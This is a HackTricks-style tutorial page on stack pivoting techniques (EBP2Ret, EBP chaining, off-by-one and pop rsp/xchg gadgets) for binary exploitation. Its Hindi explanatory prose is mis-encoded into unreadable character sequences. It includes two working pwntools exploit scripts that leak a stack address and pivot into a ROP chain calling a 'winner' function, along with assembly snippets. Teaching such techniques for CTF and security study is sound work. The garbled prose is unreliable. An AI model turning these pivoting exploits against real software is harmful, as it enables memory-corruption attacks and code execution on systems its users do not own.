hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md

14 KiB

Stack Pivoting - EBP2Ret - EBP chaining

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Basic Information

рдпрд╣ рддрдХрдиреАрдХ Base Pointer (EBP) рдХреЛ рд╣реЗрд░рдлреЗрд░ рдХрд░рдиреЗ рдХреА рдХреНрд╖рдорддрд╛ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддреА рд╣реИ рддрд╛рдХрд┐ EBP рд░рдЬрд┐рд╕реНрдЯрд░ рдФрд░ leave; ret рдирд┐рд░реНрджреЗрд╢ рдЕрдиреБрдХреНрд░рдо рдХрд╛ рд╕рд╛рд╡рдзрд╛рдиреАрдкреВрд░реНрд╡рдХ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрдИ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рд╢реНрд░реГрдВрдЦрд▓рд╛ рдореЗрдВ рдЬреЛрдбрд╝рд╛ рдЬрд╛ рд╕рдХреЗред

рдпрд╛рдж рджрд┐рд▓рд╛рдиреЗ рдХреЗ рд▓рд┐рдП, leave рдХрд╛ рдЕрд░реНрде рдореВрд▓ рд░реВрдк рд╕реЗ рд╣реИ:

mov               esp, ebp
pop               ebp
ret

And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.

EBP2Ret

рдпрд╣ рддрдХрдиреАрдХ рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЙрдкрдпреЛрдЧреА рд╣реИ рдЬрдм рдЖрдк EBP рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ рд▓реЗрдХрд┐рди EIP рд░рдЬрд┐рд╕реНрдЯрд░ рдХреЛ рд╕реАрдзреЗ рдмрджрд▓рдиреЗ рдХрд╛ рдХреЛрдИ рддрд░реАрдХрд╛ рдирд╣реАрдВ рд╣реИред рдпрд╣ рдХрд╛рд░реНрдпреЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдмрд╛рдж рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рд▓рд╛рдн рдЙрдард╛рддрд╛ рд╣реИред

рдпрджрд┐, fvuln рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рджреМрд░рд╛рди, рдЖрдк рд╕реНрдЯреИрдХ рдореЗрдВ рдПрдХ рдирдХрд▓реА EBP рдЗрдВрдЬреЗрдХреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ рдореЗрдореЛрд░реА рдХреЗ рдЙрд╕ рдХреНрд╖реЗрддреНрд░ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдЖрдкрдХрд╛ рд╢реЗрд▓рдХреЛрдб рдХрд╛ рдкрддрд╛ рд╕реНрдерд┐рдд рд╣реИ (рдкреНрд▓рд╕ 4 рдмрд╛рдЗрдЯреНрд╕ pop рдСрдкрд░реЗрд╢рди рдХреЗ рд▓рд┐рдП), рддреЛ рдЖрдк рдЕрдкреНрд░рддреНрдпрдХреНрд╖ рд░реВрдк рд╕реЗ EIP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдЬреИрд╕реЗ рд╣реА fvuln рд▓реМрдЯрддрд╛ рд╣реИ, ESP рдХреЛ рдЗрд╕ рддреИрдпрд╛рд░ рд╕реНрдерд╛рди рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЕрдЧрд▓рд╛ pop рдСрдкрд░реЗрд╢рди ESP рдХреЛ 4 рд╕реЗ рдШрдЯрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдкреНрд░рднрд╛рд╡реА рд░реВрдк рд╕реЗ рдПрдХ рдкрддреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рд╕реЗ рд╣рдорд▓рд╛рд╡рд░ рдиреЗ рд╡рд╣рд╛рдВ рд╕реНрдЯреЛрд░ рдХрд┐рдпрд╛ рд╣реИред
рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдкрдХреЛ 2 рдкрддреЗ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: рд╡рд╣ рдЬрд╣рд╛рдВ ESP рдЬрд╛рдиреЗ рд╡рд╛рд▓рд╛ рд╣реИ, рдЬрд╣рд╛рдВ рдЖрдкрдХреЛ рдЙрд╕ рдкрддреЗ рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрдЧреА рдЬрд┐рд╕ рдкрд░ ESP рдЗрд╢рд╛рд░рд╛ рдХрд░рддрд╛ рд╣реИред

Exploit Construction

рдкрд╣рд▓реЗ рдЖрдкрдХреЛ рдПрдХ рдкрддрд╛ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд╣рд╛рдВ рдЖрдк рдордирдорд╛рдиреЗ рдбреЗрдЯрд╛ / рдкрддреЗ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВред ESP рдпрд╣рд╛рдБ рдЗрд╢рд╛рд░рд╛ рдХрд░реЗрдЧрд╛ рдФрд░ рдкрд╣рд▓рд╛ ret рдЪрд▓рд╛рдПрдЧрд╛ред

рдлрд┐рд░, рдЖрдкрдХреЛ рдЙрд╕ рдкрддреЗ рдХреЛ рдЬрд╛рдирдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдЬрд┐рд╕рдХрд╛ рдЙрдкрдпреЛрдЧ ret рджреНрд╡рд╛рд░рд╛ рдордирдорд╛рдирд╛ рдХреЛрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

  • рдПрдХ рдорд╛рдиреНрдп ONE_GADGET рдкрддрд╛ред
  • system() рдХрд╛ рдкрддрд╛ рдЙрд╕рдХреЗ рдмрд╛рдж 4 рдЬрдВрдХ рдмрд╛рдЗрдЯреНрд╕ рдФрд░ "/bin/sh" рдХрд╛ рдкрддрд╛ (x86 рдмрд┐рдЯреНрд╕)ред
  • рдПрдХ jump esp; рдЧреИрдЬреЗрдЯ (ret2esp) рдХрд╛ рдкрддрд╛ рдЙрд╕рдХреЗ рдмрд╛рдж рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╢реЗрд▓рдХреЛрдбред
  • рдХреБрдЫ ROP рд╢реНрд░реГрдВрдЦрд▓рд╛

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдирд┐рдпрдВрддреНрд░рд┐рдд рдореЗрдореЛрд░реА рдХреЗ рдЗрди рдкрддреЗ рд╕реЗ рдкрд╣рд▓реЗ, 4 рдмрд╛рдЗрдЯреНрд╕ рд╣реЛрдиреА рдЪрд╛рд╣рд┐рдП рдХреНрдпреЛрдВрдХрд┐ pop рднрд╛рдЧ leave рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рд╣реИред рдЗрди 4B рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдирд╛ рд╕рдВрднрд╡ рд╣реЛрдЧрд╛ рдПрдХ рджреВрд╕рд░рд╛ рдирдХрд▓реА EBP рд╕реЗрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рдирд┐рд╖реНрдкрд╛рджрди рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдирд╛ рдЬрд╛рд░реА рд░рдЦрдиреЗ рдХреЗ рд▓рд┐рдПред

Off-By-One Exploit

рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд░реВрдкрд╛рдВрддрд░ "Off-By-One Exploit" рдХреЗ рд░реВрдк рдореЗрдВ рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рддрдм рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдЖрдк рдХреЗрд╡рд▓ EBP рдХреЗ рд╕рдмрд╕реЗ рдХрдо рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд╛рдЗрдЯ рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдРрд╕реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдореЗрдореЛрд░реА рд╕реНрдерд╛рди рдЬреЛ ret рдХреЗ рд╕рд╛рде рдХреВрджрдиреЗ рдХреЗ рд▓рд┐рдП рдкрддрд╛ рд╕реНрдЯреЛрд░ рдХрд░рддрд╛ рд╣реИ, рдХреЛ EBP рдХреЗ рд╕рд╛рде рдкрд╣рд▓реЗ рддреАрди рдмрд╛рдЗрдЯреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдЪрд╛рд╣рд┐рдП, рдЬрд┐рд╕рд╕реЗ рдЕрдзрд┐рдХ рд╕реАрдорд┐рдд рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рд╕рдорд╛рди рд╣реЗрд░рдлреЗрд░ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред

EBP Chaining

рдЗрд╕рд▓рд┐рдП, рд╕реНрдЯреИрдХ рдХреЗ EBP рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдореЗрдВ рдПрдХ рдирд┐рдпрдВрддреНрд░рд┐рдд рдкрддрд╛ рдбрд╛рд▓рдХрд░ рдФрд░ EIP рдореЗрдВ leave; ret рдХрд╛ рдкрддрд╛ рдбрд╛рд▓рдХрд░, рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ ESP рдХреЛ рд╕реНрдЯреИрдХ рд╕реЗ рдирд┐рдпрдВрддреНрд░рд┐рдд EBP рдкрддреЗ рдкрд░ рд▓реЗ рдЬрд╛рдпрд╛ рдЬрд╛рдПред

рдЕрдм, ESP рдирд┐рдпрдВрддреНрд░рд┐рдд рд╣реИ рдЬреЛ рдПрдХ рдЗрдЪреНрдЫрд┐рдд рдкрддреЗ рдХреА рдУрд░ рдЗрд╢рд╛рд░рд╛ рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдЧрд▓рд╛ рдирд┐рд░реНрджреЗрд╢ RET рд╣реИред рдЗрд╕рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдпрдВрддреНрд░рд┐рдд ESP рд╕реНрдерд╛рди рдореЗрдВ рдпрд╣ рд░рдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:

  • &(next fake EBP) -> leave рдирд┐рд░реНрджреЗрд╢ рд╕реЗ pop ebp рдХреЗ рдХрд╛рд░рдг рдирдпрд╛ EBP рд▓реЛрдб рдХрд░реЗрдВ
  • system() -> ret рджреНрд╡рд╛рд░рд╛ рдХреЙрд▓ рдХрд┐рдпрд╛ рдЧрдпрд╛
  • &(leave;ret) -> рд╕рд┐рд╕реНрдЯрдо рд╕рдорд╛рдкреНрдд рд╣реЛрдиреЗ рдХреЗ рдмрд╛рдж рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛, рдпрд╣ ESP рдХреЛ рдирдХрд▓реА EBP рдкрд░ рд▓реЗ рдЬрд╛рдПрдЧрд╛ рдФрд░ рдлрд┐рд░ рд╕реЗ рд╢реБрд░реВ рдХрд░реЗрдЧрд╛
  • &("/bin/sh")-> system рдХреЗ рд▓рд┐рдП рдкреИрд░рд╛рдореАрдЯрд░

рдмреБрдирд┐рдпрд╛рджреА рд░реВрдк рд╕реЗ рдЗрд╕ рддрд░реАрдХреЗ рд╕реЗ рдХрдИ рдирдХрд▓реА EBPs рдХреЛ рдЬреЛрдбрд╝рдирд╛ рд╕рдВрднрд╡ рд╣реИ рддрд╛рдХрд┐ рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЗ рдкреНрд░рд╡рд╛рд╣ рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

рдпрд╣ ret2lib рдХреА рддрд░рд╣ рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдзрд┐рдХ рдЬрдЯрд┐рд▓ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рдХреЛрдИ рд╕реНрдкрд╖реНрдЯ рд▓рд╛рдн рдирд╣реАрдВ рд╣реИ рд▓реЗрдХрд┐рди рдХреБрдЫ рдХрд┐рдирд╛рд░реЗ рдХреЗ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рджрд┐рд▓рдЪрд╕реНрдк рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдпрд╣рд╛рдБ рдПрдХ рдЪреБрдиреМрддреА рдХрд╛ рдЙрджрд╛рд╣рд░рдг рд╣реИ рдЬреЛ рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ рдПрдХ рд╕реНрдЯреИрдХ рд▓реАрдХ рдХреЗ рд╕рд╛рде рдПрдХ рд╡рд┐рдЬреЗрддрд╛ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдПред рдпрд╣ рдкреГрд╖реНрда рд╕реЗ рдЕрдВрддрд┐рдо рдкреЗрд▓реЛрдб рд╣реИ:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP рдмреЗрдХрд╛рд░ рд╣реИ

рдЬреИрд╕рд╛ рдХрд┐ рдЗрд╕ рдкреЛрд╕реНрдЯ рдореЗрдВ рд╕рдордЭрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдпрджрд┐ рдПрдХ рдмрд╛рдЗрдирд░реА рдХреЛ рдХреБрдЫ рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреЗрд╢рди рдХреЗ рд╕рд╛рде рд╕рдВрдХрд▓рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ EBP рдХрднреА рднреА ESP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛, рдЗрд╕рд▓рд┐рдП, EBP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдХреЗ рдХрд╛рдо рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдХреЛрдИ рднреА рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдореВрд▓ рд░реВрдк рд╕реЗ рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рдПрдЧрд╛ рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рдХрд╛ рдХреЛрдИ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдкреНрд░рднрд╛рд╡ рдирд╣реАрдВ рд╣реИред
рдпрд╣ рдЗрд╕рд▓рд┐рдП рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рдкреНрд░реЛрд▓реЙрдЧ рдФрд░ рдПрдкрд┐рд▓реЙрдЧ рдмрджрд▓рддреЗ рд╣реИрдВ рдпрджрд┐ рдмрд╛рдЗрдирд░реА рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреНрдб рд╣реИред

  • рдСрдкреНрдЯрд┐рдорд╛рдЗрдЬреНрдб рдирд╣реАрдВ:
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • рдЕрдиреБрдХреВрд▓рд┐рдд:
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

рдЕрдиреНрдп рддрд░реАрдХреЗ RSP рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП

pop rsp рдЧреИрдЬреЗрдЯ

рдЗрд╕ рдкреГрд╖реНрда рдкрд░ рдЖрдк рдЗрд╕ рддрдХрдиреАрдХ рдХрд╛ рдПрдХ рдЙрджрд╛рд╣рд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдЪреБрдиреМрддреА рдХреЗ рд▓рд┐рдП 2 рд╡рд┐рд╢рд┐рд╖реНрдЯ рддрд░реНрдХреЛрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдирд╛ рдЖрд╡рд╢реНрдпрдХ рдерд╛, рдФрд░ рд╡рд╣рд╛рдБ рдПрдХ pop rsp рдЧреИрдЬреЗрдЯ рдерд╛ рдФрд░ рд╡рд╣рд╛рдБ рд╕реНрдЯреИрдХ рд╕реЗ рд▓реАрдХ рдерд╛:

# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

рд╕рдВрджрд░реНрдн

{% hint style="success" %} AWS рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ:HackTricks Training AWS Red Team Expert (ARTE)
GCP рд╣реИрдХрд┐рдВрдЧ рд╕реАрдЦреЗрдВ рдФрд░ рдЕрднреНрдпрд╛рд╕ рдХрд░реЗрдВ: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ
{% endhint %}